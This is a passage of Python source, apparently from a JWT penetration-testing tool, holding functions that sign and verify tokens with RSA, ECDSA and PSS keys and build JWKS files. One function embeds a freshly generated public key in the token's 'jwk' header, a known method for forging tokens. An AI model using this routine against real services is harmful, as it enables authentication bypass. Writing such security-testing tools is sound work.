newContents = newContents.encode('UTF-8')
h = SHA256.new(newContents)
signer = PKCS1_v1_5.new(key)
try:
signature = signer.sign(h)
except:
cprintc("Invalid Private Key", "red")
exit(1)
newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=")
jwksout = json.dumps(newjwks,separators=(",",":"), indent=4)
jwksbuild = {"keys": []}
jwksbuild["keys"].append(newjwks)
fulljwks = json.dumps(jwksbuild,separators=(",",":"), indent=4)
if config['crypto']['jwks'] == "":
jwksName = "jwks_jwttool_RSA_"+nowtime+".json"
with open(jwksName, 'w') as test_jwks_out:
test_jwks_out.write(fulljwks)
else:
jwksName = config['crypto']['jwks']
return newSig, newContents.decode('UTF-8'), jwksout, privKeyName, jwksName, fulljwks
def jwksEmbed(newheadDict, newpaylDict):
newHead = newheadDict
pubKey, privKey = getRSAKeyPair()
new_key = RSA.importKey(pubKey)
n = base64.urlsafe_b64encode(new_key.n.to_bytes(256, byteorder='big'))
e = base64.urlsafe_b64encode(new_key.e.to_bytes(3, byteorder='big'))
newjwks = buildJWKS(n, e, config['customising']['jwks_kid'])
newHead["jwk"] = newjwks
newHead["alg"] = "RS256"
key = privKey
# key = RSA.importKey(privKey)
newContents = genContents(newHead, newpaylDict)
newContents = newContents.encode('UTF-8')
h = SHA256.new(newContents)
signer = PKCS1_v1_5.new(key)
try:
signature = signer.sign(h)
except:
cprintc("Invalid Private Key", "red")
exit(1)
newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=")
return newSig, newContents.decode('UTF-8')
def signTokenRSA(headDict, paylDict, privKey, hashLength):
newHead = headDict
newHead["alg"] = "RS"+str(hashLength)
key = RSA.importKey(open(config['crypto']['privkey']).read())
newContents = genContents(newHead, paylDict)
newContents = newContents.encode('UTF-8')
if hashLength == 256:
h = SHA256.new(newContents)
elif hashLength == 384:
h = SHA384.new(newContents)
elif hashLength == 512:
h = SHA512.new(newContents)
else:
cprintc("Invalid RSA hash length", "red")
exit(1)
signer = PKCS1_v1_5.new(key)
try:
signature = signer.sign(h)
except:
cprintc("Invalid Private Key", "red")
exit(1)
newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=")
return newSig, newContents.decode('UTF-8')
def signTokenEC(headDict, paylDict, privKey, hashLength):
newHead = headDict
newHead["alg"] = "ES"+str(hashLength)
key = ECC.import_key(open(config['crypto']['ecprivkey']).read())
newContents = genContents(newHead, paylDict)
newContents = newContents.encode('UTF-8')
if hashLength == 256:
h = SHA256.new(newContents)
elif hashLength == 384:
h = SHA384.new(newContents)
elif hashLength == 512:
h = SHA512.new(newContents)
else:
cprintc("Invalid hash length", "red")
exit(1)
signer = DSS.new(key, 'fips-186-3')
try:
signature = signer.sign(h)
except:
cprintc("Invalid Private Key", "red")
exit(1)
newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=")
return newSig, newContents.decode('UTF-8')
def signTokenPSS(headDict, paylDict, privKey, hashLength):
newHead = headDict
newHead["alg"] = "PS"+str(hashLength)
key = RSA.importKey(open(config['crypto']['privkey']).read())
newContents = genContents(newHead, paylDict)
newContents = newContents.encode('UTF-8')
if hashLength == 256:
h = SHA256.new(newContents)
elif hashLength == 384:
h = SHA384.new(newContents)
elif hashLength == 512:
h = SHA512.new(newContents)
else:
cprintc("Invalid RSA hash length", "red")
exit(1)
try:
signature = pss.new(key).sign(h)
except:
cprintc("Invalid Private Key", "red")
exit(1)
newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=")
return newSig, newContents.decode('UTF-8')
def verifyTokenRSA(headDict, paylDict, sig, pubKey):
key = RSA.importKey(open(pubKey).read())
newContents = genContents(headDict, paylDict)
newContents = newContents.encode('UTF-8')
if "-" in sig:
try:
sig = base64.urlsafe_b64decode(sig)
except:
pass
try:
sig = base64.urlsafe_b64decode(sig+"=")
except:
pass
try:
sig = base64.urlsafe_b64decode(sig+"==")
except:
pass
elif "+" in sig:
try:
sig = base64.b64decode(sig)
except:
pass
try:
sig = base64.b64decode(sig+"=")
except:
pass
try:
sig = base64.b64decode(sig+"==")
except:
pass
else:
cprintc("Signature not Base64 encoded HEX", "red")
if headDict['alg'] == "RS256":
h = SHA256.new(newContents)
elif headDict['alg'] == "RS384":
h = SHA384.new(newContents)
elif headDict['alg'] == "RS512":
h = SHA512.new(newContents)
else:
cprintc("Invalid RSA algorithm", "red")
verifier = PKCS1_v1_5.new(key)
try:
valid = verifier.verify(h, sig)
if valid:
cprintc("RSA Signature is VALID", "green")
valid = True
else:
cprintc("RSA Signature is INVALID", "red")
valid = False
except:
cprintc("The Public Key is invalid", "red")
return valid
def verifyTokenEC(headDict, paylDict, sig, pubKey):
newContents = genContents(headDict, paylDict)
message = newContents.encode('UTF-8')
if "-" in str(sig):
try:
signature = base64.urlsafe_b64decode(sig)
except:
pass
try:
signature = base64.urlsafe_b64decode(sig+"=")
except:
pass
try:
signature = base64.urlsafe_b64decode(sig+"==")
except:
pass
elif "+" in str(sig):
try:
signature = base64.b64decode(sig)
except:
pass
try:
signature = base64.b64decode(sig+"=")
except:
pass
try:
signature = base64.b64decode(sig+"==")
except:
pass
else:
cprintc("Signature not Base64 encoded HEX", "red")
if headDict['alg'] == "ES256":
h = SHA256.new(message)
elif headDict['alg'] == "ES384":
h = SHA384.new(message)
elif headDict['alg'] == "ES512":
h = SHA512.new(message)
else:
cprintc("Invalid ECDSA algorithm", "red")
pubkey = open(pubKey, "r")
pub_key = ECC.import_key(pubkey.read())
verifier = DSS.new(pub_key, 'fips-186-3')
try:
verifier.verify(h, signature)
cprintc("ECC Signature is VALID", "green")
valid = True
except:
cprintc("ECC Signature is INVALID", "red")
valid = False
return valid
def verifyTokenPSS(headDict, paylDict, sig, pubKey):
key = RSA.importKey(open(pubKey).read())
newContents = genContents(headDict, paylDict)
newContents = newContents.encode('UTF-8')
if "-" in sig:
try:
sig = base64.urlsafe_b64decode(sig)
except:
pass
try:
sig = base64.urlsafe_b64decode(sig+"=")
except:
pass
try:
sig = base64.urlsafe_b64decode(sig+"==")
except:
pass
elif "+" in sig:
try:
sig = base64.b64decode(sig)
except:
pass
try:
sig = base64.b64decode(sig+"=")
except:
pass
try:
sig = base64.b64decode(sig+"==")
except:
pass
else:
cprintc("Signature not Base64 encoded HEX", "red")